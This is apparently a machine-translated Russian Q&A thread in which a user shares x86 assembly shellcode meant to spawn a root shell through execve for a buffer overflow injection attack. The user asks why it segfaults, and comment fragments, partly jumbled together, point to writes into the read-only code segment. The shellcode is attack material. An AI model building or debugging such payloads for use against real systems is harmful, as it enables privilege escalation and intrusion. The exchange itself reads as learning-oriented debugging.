Я пытаюсь сделать ассемблерный код для вызова корневой оболочки с моего терминала, который я могу использовать в атаке с инъекцией переполнения буфера, но сейчас я застрял, пытаясь заставить мой ассемблерный код работать, прямо сейчас я получаю ошибка сегментации, когда я пытаюсь записать в память то, что нужно для вызова execve.
Код выглядит следующим образом
.code32
.text
.globl _start
_start:
jmp MyCallStatement
ShellCode:
# Execve routine
popl %esi
xorl %eax, %eax
movb %al, 0xe(%esi)
movl %esi, 0xf(%esi)
movl %eax, 0x13(%esi)
movb $11, %al
movl %esi, %ebx
leal 0xf(%esi), %ecx
leal 0x13(%esi), %edx
int $0x80
# Exit Routine
MyCallStatement:
call ShellCode
ShellVariable:
.ascii "/bin/rootshellABBBBCCCC"
Итак, идея здесь в том, что мой корневой вызов вводится в память с другим мусором, который будет перезаписан.
Первый movb по адресу 0xe($esi), который находится на расстоянии 14 байт, перезаписывает %esi с помощью 0, который является нулевым ограничителем, чтобы сообщить коду, где заканчивается моя командная строка оболочки.
Следующий movb — это просто еще один байт, чтобы загрузить указатель туда, где находится второй аргумент execve, который является указателем, указывающим на начало% esi в памяти.
Финальный movl просто перемещает Nulls для третьего аргумента.
Я получаю ошибку сегмента (дамп ядра), и я не знаю, почему.
ShellVariable
. Но я думаю, что следующий момент, который вы собирались сделать, это то, что страницы в сегменте кода, как правило, доступны только для чтения (чтобы предотвратить случайную или злонамеренную перезапись). Запись на страницу только для чтения может привести к ошибке seg. - person David Wohlferd   schedule 22.09.2017ShellVariable
. Но он доступен только для чтения. - person Margaret Bloom   schedule 22.09.2017shellVariable
байтом NUL? - person fuz   schedule 22.09.2017.asciz
будет гораздо лучшим выбором. О, нвм, вот для чегоxor
-обнуление и запись в строку. (Отсюда и segfault.) - person Peter Cordes   schedule 22.09.2017push $imm32
, особенно в 32-битном коде. - person Peter Cordes   schedule 22.09.2017